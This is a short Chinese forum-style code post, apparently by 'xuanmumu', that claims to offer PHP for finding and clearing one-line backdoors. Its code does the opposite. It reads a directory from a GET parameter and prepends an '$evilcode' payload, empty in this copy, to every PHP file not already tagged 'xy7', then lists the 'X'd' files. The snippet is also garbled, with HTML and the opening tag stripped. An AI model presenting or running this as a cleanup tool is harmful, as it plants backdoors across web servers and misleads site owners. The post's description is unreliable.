用php实现批量查询清除一句话后门的代码
总是忘记一句话放到哪个文件里去了,直接全部干掉...
复制代码 代码如下:
//xy7
if (!isset($dir) or empty($dir)) {
$dir=str_replace('\\','/',dirname(__FILE__));
echo "".$dir."";
} else {
$dir=$_GET['dir'];
echo "".$dir."";
}
$evilcode="";
$testdir = opendir($dir);
while($filea = @readdir($testdir)){
if(strstr($filea, '.php')){
$fp = @fopen($filea, 'r+');
if (!strstr(@fread($fp, 20), 'xy7')){
rewind($fp);
$old = @fread($fp, filesize($filea));
rewind($fp);
fwrite($fp, $evilcode . $old);
}
fclose($fp);
}
}
closedir($testdir);
?>
被X的文件 | 时间 | 大小 |
$file | \n";$lastsave | \n";$size Bytes | \n";
codz by xuanmumu

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